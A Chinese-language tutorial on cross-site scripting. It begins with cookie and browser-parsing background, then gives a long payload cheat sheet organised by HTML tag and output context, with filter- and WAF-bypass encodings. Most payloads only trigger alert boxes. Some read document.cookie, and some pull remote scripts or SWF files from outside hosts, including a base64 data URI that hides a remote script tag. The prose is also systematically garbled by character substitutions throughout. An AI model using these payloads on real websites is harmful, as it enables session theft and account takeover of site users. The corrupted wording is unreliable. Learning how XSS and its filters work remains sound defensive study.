  • 获取后台地址
  • 用户信息窃取
  • Getshell

二、基础知识

  • XSS漏洞挖掘与利用

1)Cookie的工做方式

XSS漏洞的主流利用方式是获取用户的Cookie执行一系列的操做。

Cookie的基本通讯流程:

1.设置cookie
2.cookie被自动添加到request header中
3.服务端接收到cookie

须要理解的问题:

1.什么样的数据适合放在cookie中

对于设置“每次请求都要携带的信息(身份认证信息)”特别适合存放在cookie中。

2.cookie是怎么设置的

每一个cookie都有必定的属性,如何时失效,要发送到哪一个域名,哪一个路径等等。这些属性是经过cookie选项来设置的,cookie选项包括:expires、domain、path、secure、HttpOnly。在设置任一个cookie时均可以设置相关的这些属性。代码示例以下:

"SESSIONID=e6f5cad435dc6a;expires=Thu,27Feb201705:21:00GMT;domain=www.xxx.com;path=/;secure;HttpOnly

3.cookie为何会自动加到request hearder中

存储cookie是浏览器提供的功能,cookie是存储在浏览器中的纯文本。当网页要发HTTP请求时,浏览器会先检查是否有相应的cookie,有则自动添加到request hearder中的cookie字段中。这是浏览器自动作的。

4.cookie怎么增删改查

cookie既能够由服务端来设置,也能够由客户端来设置。

cookie选项包括:expires、domain、path、secure、HttpOnly。

expires选项用来设置“cookie什么时间内有效”。expires实际上是cookie失效日期,对于失效的cookie浏览器会清空。若是没有设置该选项,则默认有效期为session,即会话cookie。这种cookie在浏览器关闭后就没有了。

secure选项用来设置cookie只在确保安全的请求中才会发送。当请求是HTTPS或者其余安全协议时,包含secure选项的cookie才能被发送至服务器。

HttpOnly用来设置cookie是否能经过js去访问。

默认状况下,客户端是能够经过js代码去访问(包括读取、修改、删除等)这个cookie的。当cookie带httpOnly选项时,客户端则没法经过js代码去访问(包括读取、修改、删除等)

2)浏览器的解析方式

语言的解析通常分为词法分析(lexical analysis)和语法分析(Syntax analysis)两个阶段,WebKit中的html解析也不例外,本文主要讨论词法分析。

词法分析的任务是对输入字节流进行逐字扫描,根据构词规则识别单词和符号,分词。

在WebKit中,有两个类,同词法分析密切相关,它是HTMLToken和HTMLTokenizer类,能够简单将HTMLToken类理解为标记,HTMLTokenizer类理解为词法解析器。HTML词法解析的任务,就是将输入的字节流解析成一个个的标记(HTMLToken),而后由语法解析器进行下一步的分析。

在XML/HTML的文档解析中,token这个词常常用到,我将其理解为一个有完整语义的单元(也就是分出来的“词”),一个元素一般对应于3个token,一个是元素的起始标签,一个是元素的结束标签,一个是元素的内容,这点同DOM树是不同的,在DOM树上,起始标签和结束标签对应于一个元素节点,而元素内容对应另外一个节点。

除了起始标签(StartTag)、结束标签(EndTag)和元素内容(Character),HTML标签还有DOCTYPE(文档类型),Comment(注释),Uninitialized(默认类型)和EndOfFile(文档结束)等类型,参见HTMLToken.h中的Type枚举。

http://hi.csdn.net/attachment/201011/9/0_1289298004iCWw.gif

标记的组成:类型,在字节流中的偏移,数据(m_data,不一样的类型具备不一样的意义),文档类型,是否自封闭(对于开始和结束标签),属性列表,当前属性。

HTMLTokenizer就是要从字节流解析出一个个这样的结构体来,他的实现是基于状态机来作的。状态机模型在<http://www.w3.org/TR/html5/tokenization.html#tokenization>中已经明肯定义,nextToken方法实现了该状态机。

以一个简单的html文档来复盘状态机的几条路线。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<!--comment -->

<html>

<body>

<a href=”w3c.org”>w3c</a>

</body>

</html>

在HTML中,某些字符是预留的。例如在HTML中不能使用“<”或“>”,这是由于浏览器可能误认为它们是标签的开始或结束。若是但愿正确地显示预留字符,就须要在HTML中使用对应的字符实体。一个HTML字符实体描述以下:

字符显示 描述 实体名称 实体编号
< 小于号 &lt &#60;

字符引用包括“字符值引用”和“字符实体引用”。在上述HTML例子中,'<'对应的字符值引用为'<',对应的字符实体引用为‘<’。字符实体引用也被叫作“实体引用”或“实体”。)

不考虑相似<html><body>之间的回车换行(webkit里面有作特殊处理,也就是所谓的“authoring convenience”,m_skipLeadingNewLineForListing),从前面的描述中,咱们能够确认,该文档有9个HTMLToken,分别是文档类型声明,注释,html的起始标签,body的起始标签,a的起始标签,a的元素内容,a的介绍标签,body的结束标签,html的结束标签。

起始状态为DataState。

1)DOCTYPE

DataState:<!DOCTYPE,碰到’<’,进入TagOpenState

TagOpenState:<!DOCTYPE, 碰到’!’,进入MarkupDeclarationOpenState状态

MarkupDeclarationOpenState:<!DOCTYPE,碰到’D’,匹配DOCTYPE和--字数都不够,保持现状

MarkupDeclarationOpenState:<!DOCTYPE,匹配doctype,进入DOCTYPEState状态(HTMLToken的type为DOCTYPE)

DOCTYPEState: <!DOCTYPE html PUBL,碰到空格,进入BeforeDOCTYPENameState状态

BeforeDOCTYPENameState: <!DOCTYPE html PUBL,碰到’h’,进入DOCTYPENameState

DOCTYPENameState: <!DOCTYPE html PUBL,碰到’t’,保持原状态,提取html做为文档类型

DOCTYPENameState: <!DOCTYPE html PUBL,碰到空格,进入AfterDOCTYPENameState状态。(HTMLToken的m_data为html)

AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,碰到’P’,还未能匹配Public或者system,保持状态

AfterDOCTYPENameState:<!DOCTYPE html PUBLIC,匹配public,进入AfterDOCTYPEPublicKeywordState

AfterDOCTYPEPublicKeywordState:<!DOCTYPE html PUBLIC "-/,碰到空格,进入BeforeDOCTYPEPublicIdentifierState

BeforeDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/,碰到’”’,进入DOCTYPEPublicIdentifierDoubleQuotedState

DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/,碰到’-‘,保持状态,提取m_publicIdentifier

DOCTYPEPublicIdentifierDoubleQuotedState:<!DOCTYPE html PUBLIC "-/…nal//EN">,碰到’”’,进入AfterDOCTYPEPublicIdentifierState状态。(HTMLToken的m_publicIdentifier肯定)

AfterDOCTYPEPublicIdentifierState:<!DOCTYPE html PUBLIC "-/…nal//EN"> ,碰到’>’,进入DataState状态,完成文档类型的解析

2)COMMENT

DataState:<!--comment -->,碰到’<’,进入TagOpenState

TagOpenState:<!--comment -->, 碰到’!’,进入MarkupDeclarationOpenState状态

MarkupDeclarationOpenState:<!--comment -->,碰到’-’,匹配DOCTYPE和--字数都不够,保持现状

MarkupDeclarationOpenState:<!--comment -->,匹配--,进入CommentStartState状态(HTMLToken的type为COMMENT)

CommentStartState: <!--comment -->,碰到’c’,进入CommentState

CommentState:<!--comment -->,碰到’-‘,进入CommentEndDashState状态(HTMLToken的m_data为comment)

CommentEndDashState: <!--comment -->,碰到’-‘,进入CommentEndState状态

CommentEndState:<!--comment -->,碰到’>‘,进入DataState状态,完成解析。

3)起始标签a

DataState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到’<’,进入TagOpenState状态

TagOpenState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到’a’,进入TagNameState状态(HTMLToken的type为StartTag)

TagNameState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到空格,进入BeforeAttributeNameState状态(HTMLToken的m_data为a)

BeforeAttributeNameState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘h’,进入AttributeNameState状态

AttributeNameState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘=’,进入BeforeAttributeValueState状态(HTMLToken属性列表中加入一个属性,属性名为href)

BeforeAttributeValueState: <a href=[”w3c.org](http://www.w3c.org/)">,碰到‘“’,进入AttributeValueDoubleQuotedState状态

AttributeValueDoubleQuotedState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘w’,保持状态,提取属性值

AttributeValueDoubleQuotedState:<a href=[”w3c.org](http://www.w3c.org/)">,碰到‘“’,进入AfterAttributeValueQuotedState(HTMLToken当前属性的值为w3c.org).

AfterAttributeValueQuotedState: <a href=[”w3c.org](http://www.w3c.org/)">,碰到‘>’,进入DataState,完成解析。

在完成startTag的解析的时候,会在解析器中存储与之匹配的end标签(m_appropriateEndTagName),等到解析end标签的时候,会同它进行匹配(语法解析的时候)。

html,body起始标签相似a起始标签,但没有属性解析

4) a元素

DataState:w3c</a>,碰到’w’,维持原状态,提取元素内容(HTMLToken的type为character)。

DataState:w3c</a>,碰到’<’,完成解析,不consume ’<’。(HTMLToken的m_data为w3c)。

5)a结束标签

DataState:w3c</a>,碰到’<’,进入TagOpenState。

TagOpenState:w3c</a>,碰到’/’,进入到EndTagOpenState。(HTMLToken的type为endTag)。

EndTagOpenState:w3c</a>,碰到’a’,进入到TagNameState。

TagNameState:w3c</a>,碰到’>’,进入到DataState,完成解析。

经过以上的复盘,一个标记的token过程清晰呈如今眼前,基本上就是实现http://www.w3.org/TR/html5/tokenization.html这一章的一个过程,html的规范是至关宽松的,因此词法解析要考虑到的问题不少,html5specfication在这方面为实现者作了绝大部分工做。另外,html的语法解析会影响词法解析,好比语法解析在解析到head里面title的起始标签后,会将htmltokenizer解析器的状态设置为RCDATAState。

一个HTML解析器做为一个状态机,它从输入流中获取字符并按照转换规则转换到另外一种状态。在解析过程当中,浏览器处于Datastate状态时,只要遇到一个'<'符号(后面没有跟'/'符号)就会进入“标签开始状态(Tagopenstate)”。而后转变到“标签名状态(Tagnamestate)”,“前属性名状态(beforeattributenamestate)”......最后进入“数据状态(Datastate)”并释放当前标签的token。当解析器处于“数据状态(Datastate)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。

这里有三种状况能够容纳字符实体,“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#...”形式解码,对应的解码字符会被放入数据缓冲区中。例如,在问题4中,“<”和“>”字符被编码为“<”和“>”。当解析器解析完“<div>”并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,所以会消耗一个字符引用(例如“<”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。你们可能会想:这是否是意味着“<”和“>”的token将会被理解为标签的开始和结束,而后其中的脚本会被执行?答案是脚本并不会被执行。缘由是解析器在解析这个字符引用后不会转换到“标签开始状态”。正由于如此,就不会创建新标签。所以,咱们可以利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。

在HTML中有五类元素:

1.空元素(Voidelements),如<area>,<br>,<base>等等
2.原始文本元素(Rawtextelements),有<script>和<style>
3.RCDATA元素(RCDATAelements),有<textarea>和<title>
4.外部元素(Foreignelements),例如MathML命名空间或者SVG命名空间的元素
5.基本元素(Normalelements),即除了以上4种元素之外的元素

五类元素的区别以下:

1.空元素,不能容纳任何内容(由于它们没有闭合标签,没有内容可以放在开始标签和闭合标签中间)。

2.原始文本元素,能够容纳文本。

3.RCDATA元素,能够容纳文本和字符引用。(&#60)

4.外部元素,能够容纳文本、字符引用、CDATA段、其余元素和注释

5.基本元素,能够容纳文本、字符引用、其余元素和注释

2.原始文本元素(Rawtextelements),有<script><style>3.RCDATA元素(RCDATAelements),有<textarea><title>4.外部元素(Foreignelements),例如MathML命名空间或者SVG命名空间的元素。

5.基本元素(Normalelements),即除了以上4种元素之外的元素

HTML解析器的规则,其中有一种能够容纳字符引用的状况是“RCDATA状态中的字符引用”。这意味着在<textarea><title>标签中的字符引用会被HTML解析器解码。

这里要再提醒一次,在解析这些字符引用的过程当中不会进入“标签开始状态”。对RCDATA有个特殊的状况。在浏览器解析RCDATA元素的过程当中,解析器会进入“RCDATA状态”。

在这个状态中,若是遇到“<”字符,它会转换到“RCDATA小于号状态”。若是“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea><title>的内容中),惟一可以被解析器认作是标签的就是“</textarea>”或者“</title>”。这要看开始标签是哪个。在“<textarea>”“<title>”的内容中不会建立标签,就不会有脚本可以执行。

3)编码知识

  • 浏览器解析规则

    • URL编码:

      一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如“/”的URL编码为%2F(通常大写,但不强求)

      HTML实体编码:

      • 命名实体:以&开头,分号结尾的,例如“<”的编码是“<”
      • 字符编码:十进制、十六进制ASCII码或unicode字符编码,样式为“&#数值;”,例如“<”能够编码为“<”和“<”

JS编码:js提供了四种字符编码的策略

一、三个八进制数字,若是不够个数,前面补0,例如“e”编码为“\145”
二、两个十六进制数字,若是不够个数,前面补0,例如“e”编码为“\x65”
三、四个十六进制数字,若是不够个数,前面补0,例如“e”编码为“\u0065”
四、对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
五、jsfuck编码

CSS编码:用一个反斜线()后面跟1~6位的十六进制数字,例如e能够编码为“\65”或“65”或“00065”

HTML解析器能识别在文本节点和参数值里的实体编码,并在内存里建立文档树的表现形式时,透明的对这些编码进行解码

浏览器的解析规则:浏览器收到HTML内容后,会从头开始解析。当遇到JS代码时,会使用JS解析器解析。当遇到URL时,会使用URL解析器解析。遇到CSS则用CSS解析器解析。尤为当遇到复杂代码时,可能该段代码会通过多个解析器解析。

好比:<a href="javascript:window.open('http://www.baidu.com')">test</a>

这段代码,HTML解析器首先工做(注:此时,若href=”字符串”中的字符串存在字符引用,会对其解码)。而后URL解析器开始对href值进行URL解析。进行URL解析时,URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),否则就会进入“无类型”状态。即,javascript:是不能进行任何js编码的。解析了javascript:以后,会由JS解析器进行解析。JS解析器针对一些编码,其只有在标志符名称里的编码字符才可以被正常的解析。解析完window.open之后,又会由URL解析器进行解析。想了解各解析器的特性,可参考这篇文章深刻理解浏览器解析机制和XSS向量编码

JS解析器不会解析和解码字符引用,而针对JS的一些编码其会视状况而定。

能够看到,该代码通过了HTML->URL->JS->URL 四重解析。因为不一样的解析器可以分别对一些编码格式进行解析,因此咱们能够经过生成特定格式的编码代码,令其在依次解码后可以正确执行,从而绕过WAF。

如:

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">test</a>

该代码可以正确执行。

首先,通过HTML解析以后,代码会变成

<a href="javascript:%61%6c%65%72%74%28%32%29">test</a>

此时,因为javascript已经生成,不违反URL解析规则。因此,URL解析正常。解析了javascript,最终进入JS解析器。注意,URL解析器还完成了URL解码工做。

<a href="javascript:alert(2)">test</a>

因此,JS最终解析的代码时alert(2).成功执行。

总结来讲,各类编码在XSS中的利用很是灵活,咱们须要在充分了解浏览器的解析原理合理构造合理编码顺序的代码,最终构造出Payload。

  • XSS分类介绍

1)反射性XSS

恶意代码一般存在于URL中须要用户去点击相应的连接才会触发,隐蔽性较差并且,并且可能会被浏览器的XSSFilter干掉

流程:输入--输出

2)存储型XSS

恶意代码一般存在于数据库中用户浏览被植入payload的“正常页面”时便可触发,隐蔽性较强,成功率高,稳定性好。

流程:输入--进入数据库--取出数据库--输出

三、测试方法

常规测试的Payload可使用https://xss.haozi.me/#/0x01测试

  • 0x00

输出位置可使用标签

<script>alert(1)</script>
  • 0x01
    闭合前面的标签,以后建立新的<script>标签
</textarea><script>alert(1)</script>
  • 0x02
    在属性值内的状况,用">闭合前面的input标签,以后建立新的<script>标签
"><script>alert(1)</script>
  • 0x03
    利用事件属性,<img src=x onerror=alert&#40;1&#41;>

src报错,出发onerror事件。

<img src=x onerror=alert&#40;1&#41;>
  • 0x04
    使用DATA URI Scheme和实体绕过
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

<iframe srcdoc="<script>alert&#x28;1&#x29;</script>"></iframe>
  • 0x05
    注释符闭合绕过
--!><script>alert(1)</script>
  • 0x0 6
    换行符绕过,具体应该是%0A
type=image src=1 onerror
=alert(1)
  • 0x07
    DOM事件,换行绕过。
<svg onload=alert(1)
  • 0x08
    匹配单标签截断绕过
</style ><script>alert(1)</script>
  • 0x0D
    换行绕过+注释绕过
alert(1)
-->
  • 0x0F
');alert('1
  • 0x10
    实体绕过
123;alert(1)
  • 0x11
    引号闭合
");alert("1
  • 0x12
    标签截断
\");alert(1)//

四、测试总结

  • 测试waf绕过

    简单: "'<script javascript onload src><a href></a>#$%^ 
    全面: '";!-=#$%^&{()}<script javascript data onload href src img input><a href></a>alert(String.fromCharCode(88,83,83));prompt(1);confirm(1)</script>

    观察输入输出状况,一些特殊字符是否被编码、标签是否被过滤、输出点在标签之间或标签以内。

  • 输出位置进行XSS

    • 标签之间
    模型: <div>[xss]</div> 
    payload: <script>alert(1)</script>或者<img src=1 onerror=alert(1)> 
    这些标签有:
    <a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset>  <embed> <svg> <video> <audio>
    
    自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非闭合掉它们。
    <textarea></textarea> 
    <title></title> 
    <iframe></iframe> 
    <noscript></noscript> 
    <noframes></noframes> 
    <xmp></xmp> 
    <plaintext></plaintext> 
    其余:<math></math>
    • 在JS标签内:

    在该位置,空格被过滤,可用/**/代替空格。输出在注释中,经过换行符%0a %0d使其逃逸出来。

    ​ 1.不在字符串内。

    ​ 判断<>/是否被过滤。若是没有,那么直接插入就能够。

    ```

    payload:


    ​ ```

    ​ 2.在字符串中

    ​ 此时须要闭合字符串,并保证插入的JS代码符合语法规范。

    ​ 如:

    <script>
    Var x="Input";
    </script>
    
    payload:
    
    input是输出点,咱们首先要闭合双引号,才能保证XSS成功。若是咱们没法闭合包括字符串的引号(引号被转义),就很难利用。

    除非存在两个输出点或宽字节,在引号被转义成"时有效。在网页为GBK编码时,存在宽字节问题。

    反斜线复仇记 利用点
    https://wizardforcel.gitbooks.io/xss-naxienian/content/4.html 两个输入点
    那些年咱们一块儿学XSS【宽字节复仇记】
    https://wizardforcel.gitbooks.io/xss-naxienian/content/3.html 宽字节
    • 输出在HTML属性内

1.文本属性中

例如:`<input value="输出">` 、 `<img onload="...[输出]...">` ,再好比 `<body style="...[输出]...">`

  - 无引号包裹,直接添加新的事件属性。
  - 有引号包括。首先测试引号是否可用,可用则闭合属性以后添加新的事件属性。

HTML的属性,若是被进行HTML实体编码(形如'&#x27),那么HTML会对其进行自动解码,从而咱们能够在属性里以HTML实体编码的方式引入任意字符,从而方便咱们在事件属性里以JS的方式构造payload。固然,也能够闭合属性后,而后再执行脚本。

2.src/href/action/xlink:href/autofocus/content/data等属性直接使用伪协议绕过。

```
javascript 伪协议: <a href=javascript:alert(2)>test</a> 

data 协议执行 javascript: <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被拦截,Firefox能够) 

urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(测试未经过)

不使用 href 的另一种组合来执行 
js: <svg><a xlink:href="javascript:alert(14)">
     <rect width="1000" height="1000" fill="white"/>
     </a></svg>(都可) 
     或者: 
  <math>
      <a xlink:href=javascript:alert(1)>1</a>
      </math>(Chrome不可,Firefox能够)
```

若是不行,则测试添加事件进行触发。(首先仍是须要闭合)如:
<a href="test.com" onmouseover=alert(1)>ClickHere</a>

3.on*事件

插入合乎逻辑的JS代码便可。也可使用伪协议。

常见事件

onload 
onclick
onunload 
onchange 
onsubmit 
onreset 
onselect 
onblur 
onfocus 
onabort 
onkeydown 
onkeypress 
onkeyup 
ondbclick 
onmouseover 
onmousemove 
onmouseout 
onmouseup 
onforminput 
onformchange 
ondrag 
ondrop

4.style属性内及css代码之中IE可执行,而且在IE6以上被防护,不适合其余浏览器,基本已死。

style="width:expression(js代码)"
background-image:url('javascript:alert(2)')

输出在meta标签

<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
  • 具体标签的Payload

1.a标签

  • javascript伪协议:
<a href=javascript:alert(2)>
  • data协议执行javascript:
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
  • urlencode版本:
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
  • 不使用href的另一种组合来执行js:
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 
或者
<math><a xlink:href=javascript:alert(1)></math>

2.script标签

  • 最简单的测试payload:

    <script>alert(1)</script>
  • jsfuck版本:

http://www.jsfuck.com/

<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
  • 各类编码版本:

    <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>
    
    <script>prompt(-[])</script>//不仅是alert。prompt和confirm也能够弹窗 
    
    <script>alert(/3/)</script>//能够用"/"来代替单引号和双引号 
    
    <script>alert(String.fromCharCode(49))</script> //咱们还能够用char
    
    <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行
    
    <script>setTimeout('alert(1)',0)</script> //若是输出是在setTimeout里,咱们依然能够直接执行alert(1)

3.button标签

  • event事件实现js调用:

    <button/onclick=alert(1) >M</button>
  • html5的新姿式:

须要交互的版本:

<form><button formaction=javascript&colon;alert(1)>M

不须要交互的版本:

<button onfocus=alert(1) autofocus>

4.p标签

  • 若是发现变量输出在p标签中,只要能跳出""就足够了:
<p/onmouseover=javascript:alert(1); >M</p>

5.img标签

有些姿式是由于浏览器的不一样而不能成功执行的。

  • chrome下有效:
<img src ?itworksonchrome?\/onerror = alert(1)>  //只在chrome下有效

<img/src/onerror=alert(1)>  //只在chrome下有效
  • 其余:
<img src=x onerror=alert(1)> 

<img src="x:kcf" onerror="alert(1)">

6.body标签

经过event事件来调用js

<body onload=alert(1)> 
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

7.var标签

<var onmouseover="prompt(1)">M</var>

8.div标签

<div/onmouseover='alert(1)'>X

<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">

9.iframe标签

有时候咱们能够经过实体编码、换行和Tab字符来bypass。咱们还能够经过事先在swf文件中插入咱们的xss code,而后经过src属性来调用。不过关于flash,只有在crossdomain.xml文件中,allow-access-from domain=”*“容许从外部调用swf时,才能够经过flash来事先xss attack。

下面的&Tab;为tab字符

<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> 

<iframe SRC="http://0x.lv/xss.swf"></iframe> 

<IFRAME SRC="javascript:alert(1);"></IFRAME> 

<iframe/onload=alert(1)></iframe>

10.meta标签

测试时发现昵称,文章标题跑到meta标签中,那么只须要跳出当前属性再添加http-equiv="refresh",就能够构造一个有效地xss payload。还有一些猥琐的思路,就是经过给http-equiv设置set-cookie,进一步从新设置cookie来干一些猥琐的事情。

<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  
  <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
    • object标签

和a标签的href属性的玩法是同样的,优势是无需交互。

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
    • marquee标签
<marquee onstart="alert('1')"></marquee>
    • isindex标签

在一些只针对属性作了过滤的webapp中,action颇有多是漏网之鱼。

<isindex type=image src=1 onerror=alert(1)> 

<isindex action=javascript:alert(1) type=image>
    • input标签

经过event来调用js。和button同样经过autofocus能够达到无需交互便可弹窗的效果。

<input onfocus=javascript:alert(1) autofocus> 

<input onblur=javascript:alert(1) autofocus><input autofocus>
    • select标签
<select onfocus=javascript:alert(1) autofocus>
    • textarea标签
<textarea onfocus=javascript:alert(1) autofocus>
    • keygen标签
<keygen onfocus=javascript:alert(1) autofocus>
    • frameset标签
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
    • embed标签
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 

<embed src=javascript:alert(1)> //firefox
    • svg标签
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>

<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效
    • math标签
<math href="javascript:javascript:alert(1)">CLICKME</math> 

<math><y/xlink:href=javascript:alert(51)>test1 

<math> <maction actiontype="statusline#http://wangnima.com" xlink:href="javascript:alert(49)">CLICKME
    • video标签
<video><source onerror="alert(1)"> 

<video src=x onerror=alert(48)>
    • audio标签
<audio src=x onerror=alert(47)>
    • background属性
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
    • poster属性
<video poster=javascript:alert(1)//></video> // Opera 10.5如下有效
    • code属性
<applet code="javascript:confirm(document.cookie);"> // Firefox有效
embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
    • expression属性
<img style="xss:expression(alert(0))"> // IE7如下

<div style="color:rgb(''&#0;x:expression(alert(1))"></div> // IE7如下

<style>#test{x:expression(alert(/XSS/))}</style> // IE7如下
  • 过WAF技巧

    • 单次过滤规则绕过:有些规则仅进行一次过滤替换,能够经过双重复写绕过<scr<script>ipt>
    • 大小写绕过:<sCript>
    • alert被过滤,能够尝试prompt和confirm
    • 没有引号和分号:<IMG SRC=javascript:alert('XSS')>
    • 空格被过滤:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
    • 反引号妙用:
    • 长度限制时: <q/oncut=alert(1)>//在限制长度的地方颇有效
    • 单引号及双引号被过滤状况: <script>alert(/jdq/)</script> //用双引号会把引号内的内容单独做为内容 用斜杠,则会连斜杠一块儿回显
    • javascript伪协议
<a href="javascript:alert(/test/)">xss</a>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签
    • 畸形payload:<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
    • /的妙用:<script>alert(/3/)</script>
    • 括号被过滤,可使用throw来抛出数据
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>

<img src=x onerror="javascript:window.onerror=alert;throw 1">

以上两个测试向量在 Chrome 和 IE 上会出现一个 “uncaught” 错误,能够用下面的向量代替(下面向量在FireFox上测试失败)

<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
    • 当=();:被过滤时:<svg><script>alert&#40/1/&#41</script>opera 中能够不闭合 <svg><script>alert&#40 1&#41 // Opera可查
    • 过滤某些关键字(如:javascript) 能够在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。
    • 好比在使用<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>时,能够用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b;
    • 拼凑法:① 双写绕过;② 使用js定义变量z=scri, z+pt=script; ③ 两处输出点<scri<!-- 第二处-->pt>;
    • 没法使用href:
<a onmouseover="alert(document.cookie)">xxs link</a>
在chrome下,其回补全缺失的引号。所以,也能够这样写:
<a onmouseover=alert(document.cookie)>xxs link</a>
    • 解决限制字符(要求同页面)
<script>z=’document.’</script> 
<script>z=z+’write(“‘</script> 
<script>z=z+’<script’</script> 
<script>z=z+’ src=ht’</script> 
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script> 
<script>z=z+’.net/1.’</script> 
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script> 
<script>eval_r(z)</script>
    • 编码
JS函数(如eval,settimeout)还有就是href= action= formaction= location= on*= name= background= poster= src= code=这些地方,能够配合编码。此外,data属性能够base64编码。

1.js16进制

<script>eval(“js+16进制加密”)</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script> 编码要执行的语句↓
Alert(“xss”)

2.js unicode

<script>eval("unicode加密")</script> //js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

3.String.fromCharCode函数(不须要任何引号,必须函数内)

<script>eval(String.fromCharCode编码内容))</script> <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

4.jsfuck版本

<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>

5.HTML编码:

<img src='1' onerror='aler&#x0074;(1)'>

6.base64编码(仅data支持)

     <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
     格式:
     Data:<mime type>,<encoded data>
     Data                //协议
     <mime type>         //数据类型
     charset=<charset>   //指定编码
     [;base64]           //被指定的编码
     <encoded data>      //定义data协议的编码
     特色:不支持IE
    • 存在json数据解析 context: <?=json_encode($_GET['x'])?>
    • payload: ?x=<img+src=x+onerror=ö-alert(1)>
    • SVG 标签

当返回结果在 svg 标签中的时候,会有一个特性 <svg><script>varmyvar="YourInput";</script></svg> YourInput 可控,输入 www.site.com/test.php?var=text";alert(1)// 若是把 “ 编码一些他仍然可以执行: <svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

  • 参考

《XSS测试备忘录》http://momomoxiaoxi.com/2017/10/10/XSS/

(360安全客)深刻理解浏览器解析机制和XSS向量编码

WEBKIT中的HTML词法解析 https://blog.csdn.net/dlmu2001/article/details/5998130

相关文章
